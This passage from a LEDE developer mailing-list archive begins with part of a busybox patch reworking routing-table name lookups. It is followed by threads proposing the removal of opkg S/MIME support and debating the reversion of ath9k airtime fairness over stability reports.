> - 	parse_rtattr(tb, RTA_MAX, RTM_RTA(r), len);
> -
> -+	rtable = tb[RTA_TABLE] ? *(uint32_t*)RTA_DATA(tb[RTA_TABLE]) : r->rtm_table;
> -+
> -+	if (G_filter.tb) {
> -+		if (r->rtm_family == AF_INET6) {
> -+			if (G_filter.tb < 0) {
> -+				if (!(r->rtm_flags & RTM_F_CLONED)) {
> -+					return 0;
> -+				}
> -+			} else {
> -+				if (r->rtm_flags & RTM_F_CLONED) {
> -+					return 0;
> -+				}
> -+				if (G_filter.tb == RT_TABLE_LOCAL) {
> -+					if (r->rtm_type != RTN_LOCAL) {
> -+						return 0;
> -+					}
> -+				} else if (G_filter.tb == RT_TABLE_MAIN) {
> -+					if (r->rtm_type == RTN_LOCAL) {
> -+						return 0;
> -+					}
> -+				} else if (G_filter.tb != rtable) {
> -+					return 0;
> -+				}
> -+			}
> -+		} else {
> -+			if (G_filter.tb != rtable) {
> -+				return 0;
> -+			}
> -+		}
> -+	}
> -+
> - 	if (tb[RTA_SRC]) {
> - 		src.bitlen = r->rtm_src_len;
> - 		src.bytelen = (r->rtm_family == AF_INET6 ? 16 : 4);
> -@@ -349,7 +353,9 @@ IF_FEATURE_IP_RULE(ARG_table,)
> - 	smalluint ok = 0;
> - 	smalluint scope_ok = 0;
> - 	int arg;
> --
> -+#if ENABLE_FEATURE_IP_RULE
> -+	uint32_t rtable = 0;
> -+#endif
> - 	memset(&req, 0, sizeof(req));
> -
> - 	req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
> -@@ -419,7 +425,7 @@ IF_FEATURE_IP_RULE(ARG_table,)
> - 			NEXT_ARG();
> - 			if (rtnl_rttable_a2n(&tid, *argv))
> - 				invarg_1_to_2(*argv, "table");
> --			req.r.rtm_table = tid;
> -+			rtable = tid;
> - #endif
> - 		} else if (arg == ARG_dev || arg == ARG_oif) {
> - 			NEXT_ARG();
> -@@ -475,6 +481,15 @@ IF_FEATURE_IP_RULE(ARG_table,)
> - 		}
> - 	}
> -
> -+#if ENABLE_FEATURE_IP_RULE
> -+	if (rtable >= 256) {
> -+		addattr32(&req.n, sizeof(req), RTA_TABLE, rtable);
> -+		req.r.rtm_table = RT_TABLE_UNSPEC;
> -+	} else if (rtable > 0) {
> -+		req.r.rtm_table = rtable;
> -+	}
> -+#endif
> -+
> - 	if (mxrta->rta_len > RTA_LENGTH(0)) {
> - 		if (mxlock) {
> - 			rta_addattr32(mxrta, sizeof(mxbuf), RTAX_LOCK, mxlock);
> ---- a/networking/libiproute/iprule.c
> -+++ b/networking/libiproute/iprule.c
> -@@ -114,7 +114,9 @@ static int FAST_FUNC print_rule(const st
> - 		printf("iif %s ", (char*)RTA_DATA(tb[RTA_IIF]));
> - 	}
> -
> --	if (r->rtm_table)
> -+	if (tb[RTA_TABLE])
> -+		printf("lookup %s ", rtnl_rttable_n2a(*(uint32_t*)RTA_DATA(tb[RTA_TABLE])));
> -+	else if (r->rtm_table)
> - 		printf("lookup %s ", rtnl_rttable_n2a(r->rtm_table));
> -
> - 	if (tb[RTA_FLOW]) {
> ---- a/networking/libiproute/rt_names.c
> -+++ b/networking/libiproute/rt_names.c
> -@@ -11,21 +11,26 @@
> - #include "rt_names.h"
> -
> - #define CONFDIR          CONFIG_FEATURE_IP_ROUTE_DIR
> -+#define RT_TABLE_MAX	65535
> -+
> -+struct rtnl_tab_entry {
> -+	unsigned int id;
> -+	const char *name;
> -+};
> -
> - typedef struct rtnl_tab_t {
> --	const char *cached_str;
> --	unsigned cached_result;
> --	/* upstream version switched to a hash table and removed
> --	 * id < 256 limit. For now bbox bumps this array size from 256
> --	 * to 1024. If you plan to change this to a hash table,
> --	 * consider merging several hash tables we have (for example,
> --	 * awk has resizable one!
> --	 */
> --#define RT_TABLE_MAX 1023
> --	const char *tab[RT_TABLE_MAX+1];
> -+	struct rtnl_tab_entry *tab;
> -+	size_t length;
> - } rtnl_tab_t;
> -
> --static void rtnl_tab_initialize(const char *file, const char **tab)
> -+static int tabcmp(const void *p1, const void *p2)
> -+{
> -+	const struct rtnl_tab_entry *e1 = p1;
> -+	const struct rtnl_tab_entry *e2 = p2;
> -+	return strcmp(e1->name, e2->name);
> -+}
> -+
> -+static void rtnl_tab_initialize(const char *file, rtnl_tab_t *tab)
> - {
> - 	char *token[2];
> - 	char fullname[sizeof(CONFDIR"/rt_dsfield") + 8];
> -@@ -40,34 +45,42 @@ static void rtnl_tab_initialize(const ch
> - 				file, parser->lineno);
> - 			break;
> - 		}
> --		tab[id] = xstrdup(token[1]);
> -+
> -+		tab->tab = xrealloc(tab->tab, (tab->length + 1) * sizeof(*tab->tab));
> -+		tab->tab[tab->length].id = id;
> -+		tab->tab[tab->length].name = xstrdup(token[1]);
> -+		tab->length++;
> - 	}
> - 	config_close(parser);
> -+	qsort(tab->tab, tab->length, sizeof(*tab->tab), tabcmp);
> - }
> -
> - static int rtnl_a2n(rtnl_tab_t *tab, uint32_t *id, const char *arg, int base)
> - {
> --	unsigned i;
> --
> --	if (tab->cached_str && strcmp(tab->cached_str, arg) == 0) {
> --		*id = tab->cached_result;
> --		return 0;
> --	}
> -+	int delta;
> -+	ssize_t l = 0;
> -+	ssize_t r = tab->length - 1;
> -+	ssize_t m;
> -+	uint32_t i;
> -+
> -+	while (l <= r) {
> -+		m = l + (r - l) / 2;
> -+		delta = strcmp(tab->tab[m].name, arg);
> -
> --	for (i = 0; i <= RT_TABLE_MAX; i++) {
> --		if (tab->tab[i]
> --		 && strcmp(tab->tab[i], arg) == 0
> --		) {
> --			tab->cached_str = tab->tab[i];
> --			tab->cached_result = i;
> --			*id = i;
> -+		if (delta == 0) {
> -+			*id = tab->tab[m].id;
> - 			return 0;
> -+		} else if (delta < 0) {
> -+			l = m + 1;
> -+		} else {
> -+			r = m - 1;
> - 		}
> - 	}
> -
> - 	i = bb_strtou(arg, NULL, base);
> - 	if (i > RT_TABLE_MAX)
> - 		return -1;
> -+
> - 	*id = i;
> - 	return 0;
> - }
> -@@ -77,40 +90,39 @@ static rtnl_tab_t *rtnl_rtprot_tab;
> -
> - static void rtnl_rtprot_initialize(void)
> - {
> --	static const char *const init_tab[] = {
> --		"none",
> --		"redirect",
> --		"kernel",
> --		"boot",
> --		"static",
> --		NULL,
> --		NULL,
> --		NULL,
> --		"gated",
> --		"ra",
> --		"mrt",
> --		"zebra",
> --		"bird",
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{  0, "none"     },
> -+		{  1, "redirect" },
> -+		{  2, "kernel"   },
> -+		{  3, "boot"     },
> -+		{  4, "static"   },
> -+		{  8, "gated"    },
> -+		{  9, "ra"       },
> -+		{ 10, "mrt"      },
> -+		{ 11, "zebra"    },
> -+		{ 12, "bird"     }
> - 	};
> -
> - 	if (rtnl_rtprot_tab)
> - 		return;
> - 	rtnl_rtprot_tab = xzalloc(sizeof(*rtnl_rtprot_tab));
> -+	rtnl_rtprot_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtprot_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> - 	memcpy(rtnl_rtprot_tab->tab, init_tab, sizeof(init_tab));
> --	rtnl_tab_initialize("protos", rtnl_rtprot_tab->tab);
> -+	rtnl_tab_initialize("protos", rtnl_rtprot_tab);
> - }
> -
> - #if 0 /* UNUSED */
> - const char* FAST_FUNC rtnl_rtprot_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtprot_initialize();
> -
> --	if (rtnl_rtprot_tab->tab[id])
> --		return rtnl_rtprot_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtprot_tab->length; i++)
> -+		if (rtnl_rtprot_tab->tab[i].id == id)
> -+			return rtnl_rtprot_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> - #endif
> -@@ -126,27 +138,33 @@ static rtnl_tab_t *rtnl_rtscope_tab;
> -
> - static void rtnl_rtscope_initialize(void)
> - {
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{   0, "global"  },
> -+		{ 200, "site"    },
> -+		{ 253, "link"    },
> -+		{ 254, "host"    },
> -+		{ 255, "nowhere" }
> -+	};
> -+
> - 	if (rtnl_rtscope_tab)
> - 		return;
> - 	rtnl_rtscope_tab = xzalloc(sizeof(*rtnl_rtscope_tab));
> --	rtnl_rtscope_tab->tab[0] = "global";
> --	rtnl_rtscope_tab->tab[255] = "nowhere";
> --	rtnl_rtscope_tab->tab[254] = "host";
> --	rtnl_rtscope_tab->tab[253] = "link";
> --	rtnl_rtscope_tab->tab[200] = "site";
> --	rtnl_tab_initialize("scopes", rtnl_rtscope_tab->tab);
> -+	rtnl_rtscope_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtscope_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> -+	memcpy(rtnl_rtscope_tab->tab, init_tab, sizeof(init_tab));
> -+	rtnl_tab_initialize("scopes", rtnl_rtscope_tab);
> - }
> -
> - const char* FAST_FUNC rtnl_rtscope_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtscope_initialize();
> -
> --	if (rtnl_rtscope_tab->tab[id])
> --		return rtnl_rtscope_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtscope_tab->length; i++)
> -+		if (rtnl_rtscope_tab->tab[i].id == id)
> -+			return rtnl_rtscope_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> -
> -@@ -161,10 +179,17 @@ static rtnl_tab_t *rtnl_rtrealm_tab;
> -
> - static void rtnl_rtrealm_initialize(void)
> - {
> --	if (rtnl_rtrealm_tab) return;
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{ 0, "unknown" }
> -+	};
> -+
> -+	if (rtnl_rtrealm_tab)
> -+		return;
> - 	rtnl_rtrealm_tab = xzalloc(sizeof(*rtnl_rtrealm_tab));
> --	rtnl_rtrealm_tab->tab[0] = "unknown";
> --	rtnl_tab_initialize("realms", rtnl_rtrealm_tab->tab);
> -+	rtnl_rtrealm_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtrealm_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> -+	memcpy(rtnl_rtrealm_tab->tab, init_tab, sizeof(init_tab));
> -+	rtnl_tab_initialize("realms", rtnl_rtrealm_tab);
> - }
> -
> - int FAST_FUNC rtnl_rtrealm_a2n(uint32_t *id, char *arg)
> -@@ -176,14 +201,14 @@ int FAST_FUNC rtnl_rtrealm_a2n(uint32_t
> - #if ENABLE_FEATURE_IP_RULE
> - const char* FAST_FUNC rtnl_rtrealm_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtrealm_initialize();
> -
> --	if (rtnl_rtrealm_tab->tab[id])
> --		return rtnl_rtrealm_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtrealm_tab->length; i++)
> -+		if (rtnl_rtrealm_tab->tab[i].id == id)
> -+			return rtnl_rtrealm_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> - #endif
> -@@ -193,22 +218,29 @@ static rtnl_tab_t *rtnl_rtdsfield_tab;
> -
> - static void rtnl_rtdsfield_initialize(void)
> - {
> --	if (rtnl_rtdsfield_tab) return;
> -+	static const struct rtnl_tab_entry init_tab[] = {
> -+		{ 0, "0" }
> -+	};
> -+
> -+	if (rtnl_rtdsfield_tab)
> -+		return;
> - 	rtnl_rtdsfield_tab = xzalloc(sizeof(*rtnl_rtdsfield_tab));
> --	rtnl_rtdsfield_tab->tab[0] = "0";
> --	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab->tab);
> -+	rtnl_rtdsfield_tab->tab = xzalloc(sizeof(init_tab));
> -+	rtnl_rtdsfield_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
> -+	memcpy(rtnl_rtdsfield_tab->tab, init_tab, sizeof(init_tab));
> -+	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab);
> - }
> -
> - const char* FAST_FUNC rtnl_dsfield_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rtdsfield_initialize();
> -
> --	if (rtnl_rtdsfield_tab->tab[id])
> --		return rtnl_rtdsfield_tab->tab[id];
> -+	for (i = 0; i < rtnl_rtdsfield_tab->length; i++)
> -+		if (rtnl_rtdsfield_tab->tab[i].id == id)
> -+			return rtnl_rtdsfield_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> -
> -@@ -224,27 +256,33 @@ static rtnl_tab_t *rtnl_rttable_tab;
> -
> - static void rtnl_rttable_initialize(void)
> - {
> -+	static const struct rtnl_tab_entry tab_init[] = {
> -+		{   0, "unspec"  },
> -+		{ 253, "default" },
> -+		{ 254, "main"    },
> -+		{ 255, "local"   }
> -+	};
> -+
> - 	if (rtnl_rttable_tab)
> - 		return;
> -
> - 	rtnl_rttable_tab = xzalloc(sizeof(*rtnl_rttable_tab));
> --	rtnl_rttable_tab->tab[0] = "unspec";
> --	rtnl_rttable_tab->tab[255] = "local";
> --	rtnl_rttable_tab->tab[254] = "main";
> --	rtnl_rttable_tab->tab[253] = "default";
> --	rtnl_tab_initialize("tables", rtnl_rttable_tab->tab);
> -+	rtnl_rttable_tab->tab = xzalloc(sizeof(tab_init));
> -+	rtnl_rttable_tab->length = sizeof(tab_init) / sizeof(tab_init[0]);
> -+	memcpy(rtnl_rttable_tab->tab, tab_init, sizeof(tab_init));
> -+	rtnl_tab_initialize("tables", rtnl_rttable_tab);
> - }
> -
> - const char* FAST_FUNC rtnl_rttable_n2a(int id)
> - {
> --	if (id < 0 || id > RT_TABLE_MAX) {
> --		return itoa(id);
> --	}
> -+	size_t i;
> -
> - 	rtnl_rttable_initialize();
> -
> --	if (rtnl_rttable_tab->tab[id])
> --		return rtnl_rttable_tab->tab[id];
> -+	for (i = 0; i < rtnl_rttable_tab->length; i++)
> -+		if (rtnl_rttable_tab->tab[i].id == id)
> -+			return rtnl_rttable_tab->tab[i].name;
> -+
> - 	return itoa(id);
> - }
> -

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From nbd at nbd.name  Thu Jan  5 02:13:58 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 5 Jan 2017 11:13:58 +0100
Subject: [LEDE-DEV] RFC: removing opkg S/MIME support
Message-ID: <e951f5e0-4941-48c8-bb34-060152ee703e@nbd.name>

Hi,

as far as I know, opkg S/MIME support provides no real advantage over
usign based package list signing (which is used by default).
What do you guys think about removing S/MIME support from the build
system, to clean it up some more?

- Felix


From dave.taht at gmail.com  Thu Jan  5 04:59:57 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Thu, 5 Jan 2017 04:59:57 -0800
Subject: [LEDE-DEV] ath9k airtime fairness stabiity issues?
Message-ID: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>

Felix:

Was there a bugreport?  (don't see one)

Do you have a specific device or behavior triggering this revert?


On Thu, Jan 5, 2017 at 4:42 AM, Dave Taht <dave.taht at gmail.com> wrote:
> https://github.com/lede-project/source/commit/c296ba834db4ce8c71e0ad7030aab188fe60b27b






-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From nbd at nbd.name  Thu Jan  5 05:02:25 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 5 Jan 2017 14:02:25 +0100
Subject: [LEDE-DEV] ath9k airtime fairness stabiity issues?
In-Reply-To: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
Message-ID: <105daa5c-1c51-0b47-b7d1-ff127ad4e4f5@nbd.name>

On 2017-01-05 13:59, Dave Taht wrote:
> Felix:
> 
> Was there a bugreport?  (don't see one)
> 
> Do you have a specific device or behavior triggering this revert?
Not yet. I'm still collecting information, but since we want to release
soon, and I trust at least some of the users that reported these issues
to me, I decided that airtime fairness is not ready for this release yet.

- Felix


From dave.taht at gmail.com  Thu Jan  5 05:11:18 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Thu, 5 Jan 2017 05:11:18 -0800
Subject: [LEDE-DEV] ath9k airtime fairness stabiity issues?
In-Reply-To: <105daa5c-1c51-0b47-b7d1-ff127ad4e4f5@nbd.name>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <105daa5c-1c51-0b47-b7d1-ff127ad4e4f5@nbd.name>
Message-ID: <CAA93jw7k0zGT+rh4wcYgpvRnP_pE5wJVqbDT0CGzUPHLjQTU_A@mail.gmail.com>

On Thu, Jan 5, 2017 at 5:02 AM, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-05 13:59, Dave Taht wrote:
>> Felix:
>>
>> Was there a bugreport?  (don't see one)
>>
>> Do you have a specific device or behavior triggering this revert?
> Not yet. I'm still collecting information, but since we want to release
> soon, and I trust at least some of the users that reported these issues
> to me, I decided that airtime fairness is not ready for this release yet.

Well in my case I am seeing what I'd been putting down to
some ipv6 multicast weirdness (using babel and dnsmasq), particularly
over a bridge
(I see several bugs on this filed, I'm still scratching my head on
what I'm seeing)

but otherwise ATF seeeeemed OK on the devices I was testing. (uap-lite, archer)

I guess it would be too much to hope that some builds are archived
enough to a/b, and can assume post jan 4 builds are "- atf"?

(I was *just* rolling out a sizeable test on 12 routers, sigh)


> - Felix



-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From loganaden at gmail.com  Thu Jan  5 05:22:12 2017
From: loganaden at gmail.com (Loganaden Velvindron)
Date: Thu, 5 Jan 2017 17:22:12 +0400
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
Message-ID: <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>

On Thu, Jan 5, 2017 at 4:59 PM, Dave Taht <dave.taht at gmail.com> wrote:
> Felix:
>
> Was there a bugreport?  (don't see one)
>
> Do you have a specific device or behavior triggering this revert?
>
>
> On Thu, Jan 5, 2017 at 4:42 AM, Dave Taht <dave.taht at gmail.com> wrote:
>> https://github.com/lede-project/source/commit/c296ba834db4ce8c71e0ad7030aab188fe60b27b
>
>

Hi nbd & Toke,

Would it be possible to enable it only on platforms like the tp-link
archer c7 v2 and the ubnt, where we have confirmed test reports for
the upcoming release ?


From nbd at nbd.name  Thu Jan  5 05:23:55 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 5 Jan 2017 14:23:55 +0100
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
Message-ID: <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>

On 2017-01-05 14:22, Loganaden Velvindron wrote:
> On Thu, Jan 5, 2017 at 4:59 PM, Dave Taht <dave.taht at gmail.com> wrote:
>> Felix:
>>
>> Was there a bugreport?  (don't see one)
>>
>> Do you have a specific device or behavior triggering this revert?
>>
>>
>> On Thu, Jan 5, 2017 at 4:42 AM, Dave Taht <dave.taht at gmail.com> wrote:
>>> https://github.com/lede-project/source/commit/c296ba834db4ce8c71e0ad7030aab188fe60b27b
>>
>>
> 
> Hi nbd & Toke,
> 
> Would it be possible to enable it only on platforms like the tp-link
> archer c7 v2 and the ubnt, where we have confirmed test reports for
> the upcoming release ?
I think it's quite unlikely that these issues are hardware specific.
It's probably more related to the environment, types of clients, or even
traffic patterns.

- Felix


From michal.kazior at tieto.com  Thu Jan  5 06:03:12 2017
From: michal.kazior at tieto.com (Michal Kazior)
Date: Thu, 5 Jan 2017 15:03:12 +0100
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
 <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
Message-ID: <CA+BoTQmMGgzeXm00ys5tFHZQDAjL4++M1cduESxB9C1a2dUzTQ@mail.gmail.com>

On 5 January 2017 at 14:23, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-05 14:22, Loganaden Velvindron wrote:
>> On Thu, Jan 5, 2017 at 4:59 PM, Dave Taht <dave.taht at gmail.com> wrote:
>>> Felix:
>>>
>>> Was there a bugreport?  (don't see one)
>>>
>>> Do you have a specific device or behavior triggering this revert?
>>>
>>>
>>> On Thu, Jan 5, 2017 at 4:42 AM, Dave Taht <dave.taht at gmail.com> wrote:
>>>> https://github.com/lede-project/source/commit/c296ba834db4ce8c71e0ad7030aab188fe60b27b
>>>
>>>
>>
>> Hi nbd & Toke,
>>
>> Would it be possible to enable it only on platforms like the tp-link
>> archer c7 v2 and the ubnt, where we have confirmed test reports for
>> the upcoming release ?
> I think it's quite unlikely that these issues are hardware specific.
> It's probably more related to the environment, types of clients, or even
> traffic patterns.

Some people are complaining ath10k is unstable for them when
wake_tx_queue is enabled. I suspect the ATF problem in ath9k might be
providing extra opportunities to hit the same bug.

I think RCU is not properly handled. txq_info shares lifecycle of
sta_info and should therefore be protected in the same manner. When
you queue up ieee80211_txq in a driver and use it later you
effectively break RCU. Grabbing rcu_read_lock() *later*, e.g. when
re-scheduling tx is not sufficient to protect from the possible race
of part1/part2 of station destroying logic and driver accessing its
internal txq list.

There seems to be a mechanism to hook up with to fix that already -
drv_sta_pre_rcu_remove().

I've been seldom looking at the ath10k problem and noticed this bit. I
didn't get a chance (and probably won't, any time soon) to take a
closer look, nor test/verify it for that matter.


Micha?


From dave.taht at gmail.com  Thu Jan  5 06:18:18 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Thu, 5 Jan 2017 06:18:18 -0800
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
 <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
Message-ID: <CAA93jw5iURcShAjSebNN4uE7w=s+2s5=-mTPJ8OPQBofQp5i7g@mail.gmail.com>

On Thu, Jan 5, 2017 at 5:23 AM, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-05 14:22, Loganaden Velvindron wrote:
>> On Thu, Jan 5, 2017 at 4:59 PM, Dave Taht <dave.taht at gmail.com> wrote:
>>> Felix:
>>>
>>> Was there a bugreport?  (don't see one)
>>>
>>> Do you have a specific device or behavior triggering this revert?
>>>
>>>
>>> On Thu, Jan 5, 2017 at 4:42 AM, Dave Taht <dave.taht at gmail.com> wrote:
>>>> https://github.com/lede-project/source/commit/c296ba834db4ce8c71e0ad7030aab188fe60b27b
>>>
>>>
>>
>> Hi nbd & Toke,
>>
>> Would it be possible to enable it only on platforms like the tp-link
>> archer c7 v2 and the ubnt, where we have confirmed test reports for
>> the upcoming release ?
> I think it's quite unlikely that these issues are hardware specific.
> It's probably more related to the environment, types of clients, or even
> traffic patterns.

OK, well, I filed a bug. Can I encourage your reporters to chime in on
their issues and what hardware they see them on?

https://bugs.lede-project.org/index.php?do=details&task_id=368

We have extensive testbeds available, but my big one is 2 hours away
right now (and running a version of lede with this patch from october
or so), and hard to upgrade remotely. Been building up a new one in SF
(warmer) this week, just deployed a bunch of "c.h.i.p"s to stress it
out, but now I have to go check to see which builds of lede I
installed where. I'm pretty sure the UAP-lites are running jan 2...
the wndr is jan 4....

(And here I was dreaming up ways to seriously stress out ipv6
multicast (adding tons of routes to babel,
and/or using "uftp" heavily) (see
https://bugs.lede-project.org/index.php?do=details&task_id=253 ))

I'm going to finish getting something up that works and then go blow
up multicast harder, I think, while scratching my head on ATF. At
least I can get some non-atf data on how the chips behave, I guess.


-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From dave.taht at gmail.com  Thu Jan  5 06:51:47 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Thu, 5 Jan 2017 06:51:47 -0800
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <CA+BoTQmMGgzeXm00ys5tFHZQDAjL4++M1cduESxB9C1a2dUzTQ@mail.gmail.com>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
 <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
 <CA+BoTQmMGgzeXm00ys5tFHZQDAjL4++M1cduESxB9C1a2dUzTQ@mail.gmail.com>
Message-ID: <CAA93jw5_kQB6TU1emO9-47Qmf8FwZYQGvR6J0rw0Mts=MP6Y+A@mail.gmail.com>

On Thu, Jan 5, 2017 at 6:03 AM, Michal Kazior <michal.kazior at tieto.com> wrote:
> On 5 January 2017 at 14:23, Felix Fietkau <nbd at nbd.name> wrote:
>> On 2017-01-05 14:22, Loganaden Velvindron wrote:
>>> On Thu, Jan 5, 2017 at 4:59 PM, Dave Taht <dave.taht at gmail.com> wrote:
>>>> Felix:
>>>>
>>>> Was there a bugreport?  (don't see one)
>>>>
>>>> Do you have a specific device or behavior triggering this revert?
>>>>
>>>>
>>>> On Thu, Jan 5, 2017 at 4:42 AM, Dave Taht <dave.taht at gmail.com> wrote:
>>>>> https://github.com/lede-project/source/commit/c296ba834db4ce8c71e0ad7030aab188fe60b27b
>>>>
>>>>
>>>
>>> Hi nbd & Toke,
>>>
>>> Would it be possible to enable it only on platforms like the tp-link
>>> archer c7 v2 and the ubnt, where we have confirmed test reports for
>>> the upcoming release ?
>> I think it's quite unlikely that these issues are hardware specific.
>> It's probably more related to the environment, types of clients, or even
>> traffic patterns.
>
> Some people are complaining ath10k is unstable for them when
> wake_tx_queue is enabled. I suspect the ATF problem in ath9k might be
> providing extra opportunities to hit the same bug.

Hmm. I would assume most ath10k users are on a multi-core?

> I think RCU is not properly handled. txq_info shares lifecycle of
> sta_info and should therefore be protected in the same manner. When
> you queue up ieee80211_txq in a driver and use it later you
> effectively break RCU. Grabbing rcu_read_lock() *later*, e.g. when
> re-scheduling tx is not sufficient to protect from the possible race
> of part1/part2 of station destroying logic and driver accessing its
> internal txq list.

Sounds like a promising theory. Most of our testing was on single-core
devices, with the multi-core x86 version being kernel mainline
(4.8ish), and not the lede backport.

I long had mildly poor results in terms of throughput on the apu2 (x86
dual core), but assumed it was due to poor antennas. (no crashes)

The omnia is a dual core arm, but I don't have one of those.

As it turns out the UAP-lite I flashed ~2 days back is crashed right
now, and another box was failing to get dhcp addresses (why I was
looking at multicast), not even over ethernet.

(someone remind me to not take a vacation over the holidays, next time
there's holidays)

> There seems to be a mechanism to hook up with to fix that already -
> drv_sta_pre_rcu_remove().
>
> I've been seldom looking at the ath10k problem and noticed this bit. I
> didn't get a chance (and probably won't, any time soon) to take a
> closer look, nor test/verify it for that matter.
>
>
> Micha?



-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From nbd at nbd.name  Thu Jan  5 07:28:06 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 5 Jan 2017 16:28:06 +0100
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <1431268961.444746.1483629477614@mail.yahoo.com>
References: <CAA93jw4HPmowd1BFUK1rwecJMNLCHpy9vrCJwX9q55B7C4iu2Q@mail.gmail.com>
 <CAOp4FwRY2e=a0RLn2TxSYJeiWyDF9hm-fBMADf2U+n4BevYGYQ@mail.gmail.com>
 <46229222-ccb9-549d-578d-a8f4c9b83de4@nbd.name>
 <CA+BoTQmMGgzeXm00ys5tFHZQDAjL4++M1cduESxB9C1a2dUzTQ@mail.gmail.com>
 <CAA93jw5_kQB6TU1emO9-47Qmf8FwZYQGvR6J0rw0Mts=MP6Y+A@mail.gmail.com>
 <1431268961.444746.1483629477614@mail.yahoo.com>
Message-ID: <02b7e6c4-0368-93b7-4833-88d685594f99@nbd.name>

On 2017-01-05 16:17, L. D. Pinney wrote:
> Hello Dave :
> 
> Can you please stop cross posting?
> 
> It's quite annoying to see this unrelated babble about UN-related ath10k
> when subject is ath9k
> 
